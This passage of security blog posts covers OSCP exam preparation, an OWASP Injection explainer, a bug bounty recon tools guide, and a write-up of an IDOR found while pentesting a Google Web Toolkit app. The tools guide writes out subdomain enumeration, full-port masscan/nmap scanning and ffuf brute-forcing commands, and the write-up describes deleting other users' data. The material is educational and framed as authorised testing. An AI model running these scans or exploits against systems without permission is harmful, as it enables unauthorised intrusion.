Do you already have what it takes? Good! You can apply for it online and receive your package. You have three options, either 1, 2 or 3 months of lab access. I recommend you take the 3-month package so that you give yourself enough room for practice.

Expect to present a proof of identity and to use a corporate email. If you don’t have the latter, you can contact the support and tell them that you have no corporate email.

Once the payment is processed, you will get your package containing the course PDF, videos and the VPN access for the lab.

OSCP preparation for the exam

Preparation for the exam starts right when you receive your course material. See, there are some key points I want you to know from the beginning.

Do the course exercises and document them as you go

You will feel lazy solving the exercises and documenting them as you go through the course, but it’s a crucial thing to do. See, documenting your progress and taking notes is a soft skill that you should have if you want to develop quickly. It has two benefits, the first one is that you will secure your extra 5 points in case you need them to pass the exam. Secondly, you will develop the habit of taking notes, which will help you during the exam. Which brings us to the second advice.

Take organized notes

You don’t want to redo all the exploit research, rebuild all your exploits or start Googling how to transfer files between machines during the exam. Everything should be noted beforehand. Your exploits should already be built and organized. Your payloads should be well structured. This will save you tremendous time during the exam.

Take your time to root all the machines in the lab

I recommended you to apply for 3 months of lab access so that you give yourself enough time to grasp, practice and hone your hacking skills on the lab. A friend of mine had a full-time job, a family and purchased one month. Although he was really smart and had already the skills, he simply couldn’t keep up with so many duties on his plates.

OSCP exam

Once you root all the lab machines, I think you will be ready for the exam. It’s not a requirement, but I highly recommend you do it first.

As you might have already known, the OSCP exam is 24 hours long and you have to score at least 65 points to pass. I say 65 because you can send the exercises solution along with the exam report and get 5 extra points, which would complete your minimum 70 points to pass the OSCP exam. You won’t have to pivot between the machines though, each one is separate.

Here is a list of tips that will help you the day of the exam:

Revise your notes

You should have all your notes at your hand. That’s when your prior preparation and documentation will pay off. The notes should contain your code snippets for various tasks such as connecting to different services, transferring files using different methods, bind and reverse shells, your exploits already built and grouped by target OS, etc.

Don’t upgrade your Kali machine

Just work with the version you had throughout the course. Upgrading your machine can introduce surprises that will force you to waste your time troubleshooting instead of solving the exam challenges.

Take regular breaks

You can’t stay productive the entire exam without food and good hydration. So, reserve some time for breaks, it will make you feel better, refreshed. Sometimes, all you need is another perspective, which you can’t get when you are stuck in front of the computer. You just have to notify the proctor, as explained in the official FAQ section.

Start with the Buffer Overflow challenge

One of the machines contains a buffer overflow vulnerability that you will be able to solve without problems if you had solved the one in the course. I recommend you start with it first. This will boost your confidence to tackle the remaining ones.

Beyond OSCP

Hopefully, you are now certified OSCP, congratulations! You have proved that you “tried harder” and you now have the skills required to conduct penetration testing in the real world. However, this is not the end of your journey and you are certainly not an expert. OSCP is a great beginning for a bright future in penetration testing, so don’t waste it! Think about niche areas you want to focus on. For example, you may want to learn more about exploit development, web hacking or Active Directory attacks. Learn the subject and pursue some certification in the field.

OSCP Certification: Congratulations!
OSCP Certification: Congratulations!

Other questions you may ask

OSCP vs CEH: Which is the best?

For me, the short answer is OSCP. The long answer is…it depends! See, CEH is great if you are barely starting in the infosec industry and you still want to quickly get a job even if you don’t have enough practice. In fact, it is recognized by most companies and most of the candidates would have it. So it makes sense to apply for it when you are just starting.

However, I don’t think we should compare it to OSCP. In fact, the exam is a 4 hour Multiple Choice Questions. If you want to become a CEH Master, then you have to pass the 6-hour exam which contains 20 mini-challenges. So, both challenges combined are less than 50% of the 24-hour exam challenge on the OSCP. Besides, OSCP wins at the price as well. In fact, with three months of lab access, the total price is 1349USD, compared to 1898USD for the CEH (The Multiple Choice Questions and the Practical exams, plus registration fees). In my opinion, if budget is a concern for you, you may want to apply for CompTIA PenTest+ instead.

Is a certified OSCP salary higher than CEH?

According to payscale.com, the average OSCP salary is 91,538USD, compared to 82,164USD for CEH at the time of writing this article.

Conclusion

Certifications are a good way to prove that you possess a set of skills, and OSCP is a great one for penetration testers. However, getting certified shouldn’t be the goal. In my opinion, the focus should be on acquiring and applying your hacking skills. That’s what counts!

I hope you found this content helpful and wish you good luck in your OSCP journey. I encourage you to subscribe to the newsletter and receive an article every Friday to end your week on a hacking content. If you are new to hacking and want to learn the basics, read the OWASP Top 10 theory and hands-on article on thehackerish.com and apply your knowledge on the lab which supports them. If you enjoy learning with videos, I invite you to watch the OWASP Top 10 Youtube playlist.

OWASP Top 10 vulnerabilities: Injection explained

Hello and welcome to this OWASP Top 10 vulnerabilities course. Today’s blog post is about Injection. 

By the end of this post, you will have understood the following points:

  • What is OWASP Top 10 Injection? 
  • Why Injection is on the top of the OWASP Top 10 vulnerabilities?
  • What is the difference between error and blind-based injection? 
  • OWASP Top 10 Injection flaws.
  • How to exploit Injection?
  • Some real-world Injection attacks
  • OWASP Top 10 Injection prevention 

What is Injection and why it ranks top of OWASP Top 10 vulnerabilities?

Injection sits comfortably on the top of the OWASP TOP 10 vulnerabilities for the last decade. This is for a good reason. In fact, injection is a broad class of vulnerabilities that you can find on pretty much any target. Let’s take the definition of the OWASP Top 10 for injection and analyze it:

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or a query. The attacker’s hostile data can trick the interpreter into performing unintended actions.

I highlighted the key ideas in italic. The first thing to notice is that injection is not specific to a technology. In fact, any feature which expects and processes input is potentially vulnerable to injection. 

The second thing to point out is how large the attack surface is. Tell me how many features you encountered which fall under this very scenario! I’d say most of them. In fact, even a simple search feature on a website takes your input, uses it as part of a command, queries a data store and returns the results to you.

Continuing on the example above, a malicious user can inject a malicious input, called the payload, to perform unintended results by the vulnerable system. If successful, the malicious user can trick the application into returning sensitive information, modify data or delete it altogether.

Error based injection vs blind Injection vulnerabilities

When hunting for Injection vulnerabilities, you will typically encounter two use cases. On the one hand, the application can return error messages which your payload triggered. In this case, you can follow the application errors for what to do next. For example, you can inject a malformed SQL query as simple as a quote and you get the following error:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id=''' at line 1". 

This tells you a lot! First, you have successfully found a SQL injection. Second, the database engine is MySQL. Third, the application tells you the exact vulnerable part of the SQL query. Lastly, you’ve got a solid bug to report if you are a bug bounty hunter.

On the other hand, you don’t have direct and naive feedback from the application, but rather a hint, or nothing at all! In this case, we call it a blind injection. It requires more effort, but it’s still possible to exploit it as you can see in the OWASP Top 10 training injection blog post.

Now that you have a general understanding, let’s dive into some instances of OWASP Top 10 Injection flaws.

OWASP Top 10 Injection flaws

There are many subsets of the OWASP Top 10 Injection vulnerability class. Below you find most of them. The list is growing, so make sure to subscribe to the newsletter below so that you get a notification each Friday about new content.

SQL injection

SQL injection is a flaw in the way user data is being handled inside a SQL query. Basically, a developer concatenates the expected input directly into the SQL query. SQL injection is one of the most impactful vulnerabilities that exist, it can affect the confidentiality, integrity and availability. To learn more about SQL injection, feel free to read this in-depth SQL injection tutorial.

OS Command injection

OS command injection is a flaw in the way user data is being handled inside an operating system command. Basically, a developer insecurely puts the expected input directly into the OS command. OS injection is one of the deadliest vulnerabilities that exist in the realm of security vulnerabilities. It allows an attacker to have a remote shell on your vulnerable server. As of its impact, it can affect the confidentiality, integrity and availability. If you want to see a real example, read my write-up about how I found and exploited one.

LDAP injection

This injection is a flaw in the way user input is being handled inside an LDAP query. LDAP stands for Lightweight Directory Access Protocol. It is an client-server open industry standard which can be used to access and maintain directory information services. For example, it can be used to authenticate a user, search items, modify entries, etc. Therefore, this type of injection impacts the confidentiality, integrity and availability. You will learn more about LDAP injection in the upcoming blog posts.

OWASP Top 10 Injection attacks

The following are real-world breaches which exploited one of the injections discussed above.

SQL injection in Magento, patch published on March 2019

On its release, Magento urges its users to upgrade to the latest version of Magento. One of the severe vulnerabilities patched was a SQL injection.

CVE-2018-1111 – DHCP Client Script Code Execution Vulnerability

On its advisory on May 2018, RedHat announced that Red Hat Enterprise Linux 6 and 7 are vulnerable to a command injection flaw found in a script included in the DHCP client.

SQL injection against TalkTalk

The breach that affected TalkTalk exploited a SQL injection. Over 4 Million customers were at risk. More than 150K customers’ data was compromised and the company was fined 400K pounds.

OWASP Top ten Injection prevention

Since Injection flaws reside in the way user inputs are handled, a developer should never trust any input. If you do, you’re exposing your asset to security risks which can be damaging. For each of the OWASP Top 10 Injection vulnerabilities discussed earlier, there is a section on how to prevent them. But in general, this OWASP Cheat Sheet covers the guidelines you need to follow when writing your code. The main ideas are as follows.

  • Perform proper input validation: You should sanitize and normalize your input.
  • Use a safe API: For example, using an ORM is far better and secure than building SQL queries yourself.
  • Properly escape your input: If you don’t have an API available, make sure to escape special characters according to the interpreter that will handle your command or query.

That’s it for today, in the next episodes of this OWASP Top 10 vulnerabilities tutorial, we will discuss OWASP Top 10 broken authentication. Stay tuned!

Bug bounty tools from enumeration to reporting

bug bounty tools

Hello ethical hacker and welcome to the world of hacking and bug bounty hunting. Today, you will learn the bug bounty tools I use when I hunt for vulnerabilities, from reconnaissance, to subdomain enumeration, to finding your first security vulnerabilities. Every craftsman has its toolbox and a bounty hunter is no different. However, it’s easy to get lost in the growing number of bug bounty tools which get published by the community every day. That’s why one of the goals of this article is to provide you with the minimal tools which provide the maximum returns.

Bug bounty tools for general reconnaissance

When you hunt for bugs, the first thing you will do is recon. This step is critical because if you don’t do it well, you will have a hard time down the road. And if you focus primarily on it, it will waste your time. So you must keep a good balance since you are trading your time when you hunt for bugs.

The goal of recon is to gather as much data as possible from about the company you target. 

Unlike a red team assignment, you won’t phish employees since targeting them is out-of-scope in. That’s why I like to focus on finding subdomains, IP ranges, URLs, API keys, etc. To do that, I use the following tools.

Amass as a bug bounty tool for general reconnaissance

OWASP Amass is a swiss-army knife for recon. It performs open-source intelligence and active reconnaissance using various techniques. You can use it to map the external assets of your targets to dress your attack surface and craft your plan of attack. It’s a well-maintained project and you can install it in many ways. I prefer to run it on Docker. It also generates detailed graphs and interfaces with other tools such as Maltego, a famous open-source intelligence software.

Amass has helped many bug bounty hunters find new assets and report vulnerabilities. This tweet is proof of my claims.

Amass is one of the most useful bug bounty tools
Amass is one of the most useful bug bounty tools

GitHub: A search engine and a great bug bounty tool

You can use GitHub to collect a lot of data about your target. Most of the time, you will find sensitive information leaks, from API keys to passwords. This is possible because employees accidentally push code without proper verification. Unfortunately for the company, these commits occasionally contain hard-coded credentials which allow you to access deep services.

Some bug bounty hunters specialize in this area and find highly impactful bugs. Although many tools have been developed to enumerate repositories and find sensitive data, they don’t cover the whole search space. That’s why those hunters invest considerable time conducting manual research. One of the main wizards in this area is th3g3ntl3man and he has made an awesome talk about Github recon on the Bugcrowd university videos. I could have shared a screenshot of some queries, but I’m afraid it will disclose sensitive data.

Shodan is your bug bounty tool for public devices enumeration

While GitHub is the search engine for code repositories, Shodan specializes in internet-connected devices. In other words, if there is a public IP exposing a service on a certain port, it is available for Shodan index. You’d be surprised by the number of exposed services there are online. From IP cameras with default credentials to industrial control systems, Shodan allows you to access all of them. There is a great Defcon talk by Dan which is both scary and amusing at the same time. I recommend you watch it to see how exposing services to the public can be so dangerous.

Shodan supports many operators as well. As a bug bounty hunter, you can use them to build your dorks and answer key questions about your target from a network perspective. You can get an idea of the top ports, the IP ranges, the ASN numbers, the country locations, etc. There is also an API which you can use to automate your recon process.

Shodan's Explore feature: It's scary to find such devices publicly available
Shodan’s Explore feature: It’s scary to find such devices publicly available

Wayback machine

What goes online stays online, as long and gets indexed. That’s because there are projects such as the Wayback Machine, which indexes and stores copies of web pages, books, audio, videos, images, etc. The project exists to provide knowledge for everyone. This is useful from a reconnaissance perspective because you can dig into previous copies of a target looking for any information disclosure, old URLs, removed files, etc. 

However, the process of going through tons of indexed content is tedious. Luckily, there are many tools out there which automate the process. I use waybackurls and gau, which give somewhat the same results.

Google hacking database

I’m sure that all of you jump to Google when you first want to learn more about the target you want to test. However, do you make use of google dorks? These are queries that use Google search operators to return precise results, such as only PDF files of a certain website, or administration panels of a certain technology in a range of subdomains, or any other need you might have. The only thing that limits you is your imagination. 

Even if you don’t have enough imagination, people have been sharing their google dorks for ages. You can find them in the Google Hacking Database (GHDB) and get inspiration. For example, if you found that the target uses a certain technology, you can look for it on that database to see previous dorks which might be helpful in your recon process.

You should add GHD to your bug bounty tools
You should add GHD to your bug bounty tools

These are some resources which can serve as bug bounty tools when you perform recon. However, there are certainly many other resources and one article simply cannot include them all.

Bug bounty tools for subdomain enumeration

So far, we have seen how you can perform general reconnaissance. But the hacking process involves enumeration in all stages. And one of the first stages is subdomain enumeration, which aims at finding as many subdomains as possible. The community has developed many bug bounty tools to assist you during this exercise. 

Assetfinder

I’ve already mentioned this tool in my bug bounty methodology. It uses multiple sources like certificate transparency, Facebook, Virustotal, etc. It works out of the box, but if you want more results, you can configure the API keys for the services which need one. 

Provided that you have installed and configured Go, the command is simple, you just have to pipe your target to the tool.

echo domain.com | assetfinder --subs-only

Below is a screenshot demonstrating part of the output of assetfinder against tesla.com

assetfinder output for subdomain enumeration
assetfinder output for subdomain enumeration

 OWASP Amass

We’ve talked about OWASP amass at the beginning of this article as a general bug bounty tool for reconnaissance. Well, you can use it for subdomain enumeration as well. It supports passive and active enumeration, performs DNS resolution and can also brute-force the subdomains based on the wordlist of your choice. The user guide is detailed and gives example commands that you can run. The simplest and quickest subdomain enumeration command would be:

amass enum -d domain.com -passive

Google

You can use Google dorks to find subdomains as well. To do that, you can use the site operator. An example would be site:domain.com. Once you get the results, you can enumerate the subdomains one by one using negative search. For example, suppose we found sub.domain.com, you can eliminate that result using: site:domain.com -site:sub.domain.com. Repeat this process until you no longer get any results from Google.

As you may have noticed, the process is tedious and takes some time. Luckily, there are tools such as theHarvester and sublist3r which you can use for such queries. However, bear in mind that they can get rate limited, which might return only a subset of the existing subdomains.

Waybackurls and gau

We have seen how digging into indexed content is important during the general reconnaissance phase. Well, it is also equally important when it comes to subdomain enumeration. I find it useful to run waybackurls and gau to grab potential subdomains which might go under the radar of amass. It’s always useful to combine multiple tools to get the most exhaustive results. 

The commands are simple and easy. For either waybackurls or gau, you simply pipe your target domain to them. I like to use unfurl as well to extract the domain part from the result.

echo domain.com | waybackurls | unfurl domains
echo domain.com | gau | unfurl domains

This is part of the output of waybackurls against tesla.com

waybackurls and unfurl bug bounty tools can work together when you perform subdomain enumeration
waybackurls and unfurl bug bounty tools can work together when you perform subdomain enumeration

Altdns

When it comes to enumeration, you can boost your results using brute force. To do that, I usually combine keywords related to my target. Using Altdns, I quickly generate permutations which usually get used by companies. For example, suppose the company’s main domain is XYZ. Well, the wordlist would contain subdomains like staging-XYZXYZ-dev and the like. 

The command is straightforward, you run the tool while providing the domains file and the words you want to use for permutations.

altdns -i domain.txt -o output.txt -w words.txt

Massdns

After generating a list of potential subdomains, I use massdns to resolve the resulting list for valid and existing subdomains. A word of warning though, this process can yield false positives, depending on the quality of the DNS resolvers you are using. You can find more about this problem on this GitHub issue

Rather than using the resolvers.txt file provided by massdns, you can get a list available on public-dns.info. Then, the command is simple, just use the massdns command with the list of resolvers and the altdns wordlist you have generated before:

massdns -r resolvers_file -t A altdns_wordlist -w results.txt

Bug bounty tools for port scanning

When you have a list of subdomains from the subdomain enumeration phase, you can start looking for running services. The technical word for that is port scanning. There are many tools which can assist you during this phase. 

Nmap

When you have a small list of subdomains, let’s say below 50, you can use Nmap to perform port scanning. It allows you to not only enumerate the running services but also fingerprint the server you are targeting. Besides, Nmap has a set of scripts which you can use to scan those services. For example, you can perform directory bruteforcing for HTTP services, or banner grabbing for SSH services, etc. The following command takes a list of subdomains as input, probes all the ports numbers (from 0 to 65535) while scanning the resulting services using their respective Nmap scripts. Finally, it saves the results into a sile named scan.

Nmap -p- -sC -o scan -iL subdomains.txt

masscan

Once you start working with big lists of subdomains, Nmap will take forever. That’s why I prefer to run masscan instead. It’s blazingly fast, but you need to have enough network bandwidth. It’s capable of scanning huge IP ranges. From the Readme file in the Github repository:

[…]the program is really designed with the entire Internet in mind. 

From masscan’s documentation

However, it only accepts IP addresses, no subdomains. Therefore, you have to resolve the IP addresses before running masscan. The following bash one-liner can do just that:

cat subdomains.txt | xargs -n1 host | grep "has address" | cut -d" " -f4 | sort -u > ips.txt

Then, you can run masscan. The following command takes the ips.txt file as input, it probes all port numbers, it uses a rate of 10k packets per second and it outputs the results into the file scan.txt

masscan -iL ips.txt -p0-65535 --rate=10000 -oL scan.txt

Shodan

Port scanning is a loud action from a network perspective. It triggers Intrusion Detection Systems very easily. If you want to avoid detection, you can leverage Shodan to see what ports are open and even gather information about the services that are running. That’s because Shodan continuously performs port scanning for you. You can simply type the IP or range of IP addresses you want, and it will give you the results. I recommend you read about the Shodan operators which are a must. For example, the following screenshot shows the top services running on the whole ASN number AS36647 owned by YAHOO. 

Bug bounty tools for Directory Bruteforcing

Directory bruteforcing allows you to discover hidden directories which are referenced neither in JavaScript files nor in Internet archives such as the Wayback Machine. There are many tools which perform such a task.   

ffuf

Currently, I’m using ffuf to perform directory bruteforcing. It is fast, reliable and capable of more than just looking for directories. The Readme file explains all the capabilities, but let’s focus on directories for now. 

In its simplest form, ffuf takes a wordlist and sends HTTP requests to your target application. The following command illustrates that:

ffuf -w wordlist.txt -u https://url.of.the.application/FUZZ

The term FUZZ is a special placeholder that ffuf uses to insert the elements of your wordlist.

Burp Suite Intruder

When I am analyzing a feature using BurpSuite, I find it practical to run the intruder to discover some endpoints without having to leave Burp. For that, I use the Intruder. The community edition offers only one thread, which is not useful in my opinion. However, the Pro version allows you to use as many threads as your machine can handle. This Intruder documentation from the authors of BurpSuite gives you all you need to start using this awesome tool.

Other directory bruteforcing tools

There are so many other tools that perform directory bruteforcing. Many bug bounty hunters use Gobusterdirsearchwfuzz or similar ones. You can experiment with all of them and choose the one that suits your goals and taste.

Bug bounty tools for Web application testing

Ok, now that you have a list of web applications, it’s time to focus on one of them and hunt for those bugs! However, without the proper tools, you won’t find any. Here are the main tools I use, and so you should. 

Burp Suite

This is the de facto when it comes to pentesting a web application. It is a suite of tools which assist you during your hacking. For example, it allows you to see all the HTTP requests and Websockets thanks to the Proxy tool. You can play with them with the Repeater tool to find security vulnerabilities. If you want to brute force a parameter, a header or anything in a request, the Intruder is your friend. BurpSuite supports extensions as well. You can code your own as I did with GWTab, or download many of them from the BApp Store using the Extender tool.

You can start using the Community Edition, which is free. If you want to benefit from the Scanner tool and some extensions, you can buy the Pro version and get a yearly license. You can earn a three-month license if you have a positive signal and 500 reputation points on HackerOne.

Learn how to download it, install it and configure it with this video I made just for you.

Zed Attack Proxy

ZAP is the free and open-source alternative to BurpSuite. It’s a flagship of the OWASP that can do almost all what Burp does, plus some more. For example, it offers the cool Heads Up Display (HUD) which allows you to use ZAP without leaving your web browser. It comes also in many packages, including docker, which makes it convenient for automated testing. Unlike BurpSuite Community Edition, Zaproxy allows you to run active scans. 

ZAP supports extensions as well, which you can download and update from the Marketplace included in its user interface. You can install it and configure it with this video. Besides, there is a great video on how to use ZAP, including how to use the HUD.

Conclusion

When you are doing bug bounty hunting or penetration testing, you will definitely use some of these tools I have just listed. If you are not familiar with them, take some time to learn how to use them and you will thank me later. However, while using the proper tools can play a key role in finding great bugs, it’s worth mentioning that they will never be a substitute for your brain. They exist to assist you, not replace you. That’s why it’s important to invest in your knowledge.

These are the tools I like to use when performing reconnaissance and subdomain enumeration. I hope you found this content helpful. Don’t forget to like, subscribe and share this content because it supports me to continue sharing such content.

As usual, stay curious, keep learning, and go find some bugs!

Hacking a Google Web Toolkit application

hacking a GWT application

Hello ethical hackers and bug bounty hunters! I’ve recently conducted a successful penetration testing against a web application built using Google Web Toolkit, and I want to share with you the process I followed and the bugs I found. Hopefully, this episode will inspire you to try harder during your own bug bounty hunting and penetration testing journey.

I will briefly explain what Google Web Toolkit is and what research has already been made around it. Then, I will explain why and how I built a Burp extension to help me during the penetration testing process. Finally, I will share with you some vulnerabilities I found, especially a cool one which required further effort. So stay with me as we smash this web application into pieces!

A brief introduction of Google Web Toolkit

Throughout this episode, I will use Google Web toolkit and GWT interchangeably. It is pronounced GWiT according to the official website.

What is Google Web Toolkit?

Throughout my career, I’ve encountered GWT applications two times only. It’s a relatively old technology, but it’s still used by some companies. According to the official GWT website, Google Web Toolkit is

[…] a development toolkit for building and optimizing complex browser-based applications. Its goal is to enable productive development of high-performance web applications without the developer having to be an expert in browser quirks, XMLHttpRequest, and JavaScript.

From the official GWT website

In other words, GWT allows developers to write web applications in Java, without having to worry about client-side technologies. In fact, it cross-compiles Java code into JavaScript ready to be used cross-browsers. 

How do Google Web Toolkit requests look like?

It’s easy to tell when you are in front of a GWT application. Typically, you will mostly see POST requests in your web proxy, with a series of strings separated with pipes. It seems intimidating at first, but when you understand how the POST data is structured, it’s fairly easy to spot what it does with a bit of practice. The following is the kind of data you will encounter in a typical GWT web applications.

GWT body example
GWT body example

Understanding the Google Web Toolkit body

I’ve built my knowledge upon this awesome article which explains the previous work that has been done, the GWT body structure and how you can enumerate the endpoints in such a technology. Although it doesn’t completely apply to recent versions, I still recommend you take some time to read it. However, if you still don’t want to manually analyze the requests, it’s possible to parse the GWT requests and pinpoint exactly where the user input is located thanks to a parser available on GitHub. Using this tool, the following command takes the GWT request body and returns the user input marked with the same highlight that BurpSuite uses in the Intruder tool.

GWT parser script highlighting user input similar to Burp Intruder
GWT parser script highlighting user input similar to Burp Intruder

Even with this, it’s impractical for me to manually copy the request body from BurpSuite and run the parser for each and every request. I think it would be great if BurpSuite automatically highlights the user input whenever it encounters a GWT request.

Writing my own Burp Extension for Google Web Toolkit

I have always wanted to write a BurpSuite extension, and this was the best opportunity for me to do so. In fact, I didn’t find any publicly available extension that would successfully parse this kind of requests. For example, the GWT Insertion Points is an extension which doesn’t seem to work, at least for me. It hasn’t been updated for 3 years. Moreover, ZAProxy supports scanning GWT requests, but it doesn’t support them during manual security testing.

The birth of GWTab

With the penetration testing schedule I had, I planned for one day to write the extension. Therefore, I had to keep it simple. The goal was to show a new tab in BurpSuite containing the user input for every GWT request. That way, I can significantly increase my efficiency by focusing only on the marked strings without having to manually run the parsing command. Hence, GWTab was born.

The process of writing GWTab

Writing GWTab involved three main actions:

  • Show a new tab in Burp: I used the custom editor tab template provided by BurpSuite, which gave me a quick start and let me focus on only the GWT feature I wanted to develop. 
  • Parse the GWT body: I used the parser I mentioned earlier. As I said, it can highlight the user input with the Burp Intruder’s marker, which is useful if I want to perform some automated fuzzing later, or even active scanning based on the highlighted input.
  • Extensive reading: I had to read parts of the Burp Extender API in order to properly understand the signature of the functions, the interfaces to use and what to implement.

After a lot of trial and error, I finally got it working! I made it available for everyone on GitHub. The following screenshot shows the new GWT tab containing the user input that I can focus on.

GWT body shown in directly in a Burp tab thanks to the GWTab extension
GWT body shown in directly in a Burp tab thanks to the GWTab extension

Limitations of GWTab

Some requests containing long values make the GWT parser crash. Therefore, GWTab will sometimes show the message “Parser Failed” whenever that happens. Unfortunately, I couldn’t invest more time to fix this issue on the parser.

Now that I can spot user input in most GWT requests on the fly, I was ready to start hunting for those juicy bugs!

Low hanging fruits

I found many low hanging vulnerabilities during this assessment because developers simply didn’t bother implementing any sort of proper access control.

Security through obscurity is a flaw by design

Because the GWT body seems complex, developers assume hackers won’t be able to understand and exploit it. I guess they ignore the very definition of a hacker. If you are a developer reading this, just know that curiosity and challenge are key drivers for a hacker. Besides, be aware that security through obscurity is a fundamentally false protection. It has only pushed hackers to dig even deeper. 

This application was no different. In fact, Broken Access Control and IDOR vulnerabilities were everywhere.

IDOR everywhere

Because of the false assumption I mentioned earlier, almost all endpoints were vulnerable to IDOR vulnerabilities. To make things worse, most requests use increasing numerical identifiers. Besides, it was easy to spot such IDs without even using GWTab since there was only one identifier per request. All I needed was a trained eye, which came naturally with practice. These vulnerable endpoints allowed me to access, edit and even delete resources of other accounts.

However, I want to share details about one bug which required more effort to fully exploit. I chose this one because I want to demonstrate why impact is critical and what techniques you can use to increase it.

Beyond trivial IDOR vulnerabilities

This application is a service exchange platform which allows its clients to offer and consume services. Therefore, if an attacker can delete arbitrary offers, it means that the whole purpose of the application is compromised. Guess what! I found just how to achieve that!

Vulnerability detection

Detecting this vulnerability was easy. In fact, I followed the same approach I mentioned in the video tutorial about Broken Access Control. In a nutshell, I used two separate accounts. Using the first account, I created an offer and triggered the request to delete it. Before deleting it though, I captured the request using BurpSuite and sent it to the Repeater, then dropped the request to preserve the offer. From there, I took the JSON Web Token of the attacking user and inserted it into the vulnerable request. When I sent it to the server, the victim’s offer got deleted.

Impact analysis

Looking at the POST data revealed a huge payload containing multiple objects, IDs and string values. As a bug bounty hunter, you would quickly report this bug right? Well, the impact is still not clear. In fact, I had no idea how an attacker can realistically build such POST data. If you have listened to read the episode about writing a good report, you know that impact plays a huge role in the bug bounty game. To prove the impact, I had to dig deeper into the application.

Exploiting the vulnerability

I first assumed that the server might delete the offer whose ID is present in the request. Therefore, I tried injecting the victim’s offer ID in all the potential inputs present in the POST data. I had to do it by hand since the GWTab extension failed at parsing the POST data. However, after many tries, it became obvious that this was not the right approach because nothing was deleted.

I didn’t want to give up so quickly. I knew that the application allowed users to search for offers of other users. What if I could grab the entire offer object from the results? Unfortunately, this idea failed since both objects didn’t fully match.

It was clear that I needed two requirements if I wanted to successfully exploit this vulnerability.

  • First, I needed a request which uses the same offer object structure.
  • Second, this dream request should be accessible to the attacker.

Based on these two requirements, I started looking through the application features for all the actions a user can perform on offers published by other users. After some time, I found that the user can like and unlike an offer. Lucky for me, the unlike operation uses the exact same offer object as the one used in the offer deletion request! I couldn’t believe my eyes, I was really lucky!

From there, the attack scenario became clear:

  • An attacker browses the offers list, which is public.
  • He/she likes the victim’s offer, then unlikes it.
  • He/she captures the offer object and injects it into the vulnerable request.
  • The victim’s offer gets deleted from the database.

Writing the report

Now that the impact is clear, you can finally and safely report that bug without worrying about rejection. Besides, you might even reduce the probability of getting duplicated since your vulnerability requires more effort to exploit, and not all bug bounty hunters are willing to take the extra steps. Moreover, even if the team accepts your not-so-convincing-impact report, the reward of a clear impact will certainly be much higher.

Conclusion

In the offensive security industry, whether you are a full-time penetration tester or a seasoned bug bounty hunter, curiosity and challenge are the fuel which will push your limits. In my case, I always wanted to write a Burp extension to solve a problem, and this application presented the right opportunity for me to challenge myself. Besides, I always seek ways to achieve the highest impact not only to get higher bounties but to give a better return on investment to my clients as well.

Later I found that the developers were already aware of this issue. However, because of the complexity of the POST data, they assumed that nobody would figure out how to successfully exploit the vulnerability. Thanks to this full exploit, they’ve learnt that they should never rely on obscurity…the hard way!

I hope you found this content useful. If you did, then support me by commenting, sharing and subscribing. Until next time, stay curious, keep learning and go find some bugs.